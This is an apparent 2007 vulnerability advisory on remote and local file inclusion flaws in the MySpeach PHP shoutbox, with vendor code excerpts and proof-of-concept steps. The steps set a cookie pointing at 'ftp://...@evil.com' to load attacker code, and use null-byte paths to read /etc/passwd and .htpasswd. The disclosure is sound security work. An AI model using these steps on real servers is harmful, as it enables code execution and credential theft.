/=======================================\
| Advisory :: MySpeach <= 3.0.7 |
+=======================================+---------------------------------------------------------------\
| |
| Download link : http://www.graphiks.net/scripts-php/script-7-1-0.html |
| Official website : www.graphiks.net |
| Type : Chat without any database (only txt files) |
| Vuln. found : Remote/Local File inclusion (& Full Path Disclosure) |
| Conditions : Vuln #1 : PHP >= 5.0.0, register_globals = On, allow_url_fopen = On |
| Vuln #2 : register_globals = On |
| Risk level : High |
| |
+-------------------------------------------------------------------------------------------------------+
| |
| Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en] |
| Date : 2007-04-03 |
| Last update : 2007-04-03 |
| |
+-------------------------------------------------------------------------------------------------------+
| Summary : 0] Description |
| 1] Vuln#1 : Remote File Inclusion |
| 2] Vuln#2 : Local File Inclusion |
| 3] Links & Documentation |
\-------------------------------------------------------------------------------------------------------/
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<0> DESCRIPTION
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
MySpeach is a shoutbox coded in PHP which works without any database. Indeed, it uses only text files to save the
messages. To my mind, it's a good script, but let's see the security, although there was a lot of different versions
to correct vulnerabilities.
So, the show must g0 on ...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<1> VULNERABILITY #1 : REMOTE FILE INCLUSION (WITH FULLPATHDISCL)
{ Cond: PHP>=5.0.0; register_globals=On; allow_url_fopen=On }
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Firstly, after the installation, the code which must be put in the page to display the shoutbox MySpeach is the
following :
+--------8<--------
| <?php
| $my_ms['root']="/full/path/myspeach"; // Contains the realpath of the directory where myspeach is installed
| include($my_ms['root'].'/chat.php'); // Then, the file 'chat.php' is included
| ?>
+--------8<--------
Let's see what is it interesting in the file 'chat.php' :
+--------8<--------
| // [...] line 15
| $clef = ''; $data = '';
| $listedesvariablesensible = array('ip_list', 'my_ms[root]','my_ms[site]','my_ms[absolu_root]','my_ms[msg_txt]',
| 'my_ms[id_unique]','my_ms| [copyright]','my_ms[skin]','my_ms[version]');
| foreach($listedesvariablesensible as $clef => $data)
| {
| $afiltrer = $data;
| if(isset($_GET[$afiltrer]) || isset($HTTP_GET_VARS[$afiltrer]))
| {
| $_GET[$afiltrer] = '';
| $HTTP_GET_VARS[$afiltrer] = '';
| }
| if(isset($_POST[$afiltrer]) || isset($HTTP_POST_VARS[$afiltrer]))
| {
| $_POST[$afiltrer] = '';
| $HTTP_POST_VARS[$afiltrer] = '';
| }
| }
| // Line 32 [...]
+--------8<--------
So this code filters all the variables $_GET/$HTTP_GET_VARS and $_POST/$HTTP_POST_VARS with a same name that the
variables which are used in the script, and it reinitializes their values. However, the vars $_COOKIE are not
filtered by this code.
Besides, we can read the following code :
+--------8<--------
| // [...] line 35
| if(!@file_exists($my_ms['root'].'/admin/config.php'))
| exit('<br /><p align="center">MySpeach n est pas encore installé.</p>');
|
| //On inclut les fichiers de config (config files are included)
| include($my_ms['root'].'/admin/config.php');
| include($my_ms['root'].'/admin/options.php');
| include($my_ms['root'].'/admin/setup.php');
| include($my_ms['root'].'/admin/fonctions.php');
| // line 45 [...]
+--------8<--------
The $my_ms['root'] parameter can be overwritten with a cookie if register_globals = On in the 'php.ini', because
$my_ms['root'] is not initialized (see [1]). Therefore, it can deals a Remote File Inclusion (RFI).
Nevertheless, the RMI will work only if the server is running on PHP >= 5 because in this version, the file_exists()
function can be used with some URL wrappers (see [2] & [3]) if allow_url_fopen = On in the 'php.ini' (ftp:// can be used for
example but not http://).
+---->> Vuln. #1 Pro0f of Concept <<--------//
|
| - Create a cookie : | Name : my_ms[root]
| | Value : ftp://user:password@evil.com
| | Host : www.victim.com
| - Create a file called 'config.php' in a folder called 'admin' to obtain a path like that : evil.com/admin/config.php
| - Then, go on the page : www.victim.com/[myspeach_install_directory(default: myspeach)]/chat.php
| * If you get the following error message : "MySpeach n est pas encore installé.", the vulnerability cannot be
| exploited, probably because the version of PHP is under 5.0.0 and/or register_globals = Off and/or
| allow_url_fopen = Off.
| * Else, the RFI will work and, in the same time, a lot of inclusion errors will appears because the script try
| to include another files like 'admin/options.php', 'admin/setup.php' ... (but the RFI must be done with 'config.php'
| because if file_exists($my_ms['root']) return false, the function exit() will be called ...).
| Particularly, it sparks a Full Path Disclosure :
|
[ Fatal error: Call to undefined function my_MS_plus_un() in /full/path/myspeach/chat.php on line [line]
|
+-------------------------------------------
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<2> VULNERABILITY #2 : LOCAL FILE INCLUSION (WITH FULLPATHDISCL)
{ Cond: only register_globals=On }
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
It is also possible to include a local file by using the Null Byte char \x0 (urlencoded: %00). It will also spark a FullPathDiscl.
+---->> Vuln. #2 Pro0f of Concept <<--------
|
| - See the Vuln#1 PoC, but change the value of the cookie created, by the path of a local file ended with %00.
| Example : /etc/passwd%00; ../admin-panel/.htpasswd%00 ... and it will work if register_globals=On
|
+-------------------------------------------//
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<3> LINKS & DOCUMENTATION
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[1] register_globals Security
http://www.php.net/manual/it/security.globals.php
[2] file_exists() function
http://www.php.net/manual/en/function.file-exists.php
[3] List of Supported Protocols/Wrappers
http://www.php.net/manual/en/wrappers.ftp.php
and especially for FTP/FTPS: http://www.php.net/manual/en/wrappers.ftp.php
(we also learn that HTTP/HTTPS protocols aren't supported by stat() and so, by file_exists() :
http://www.php.net/manual/en/wrappers.http.php)
// [EOF] Xst3nZ
# milw0rm.com [2007-04-03]
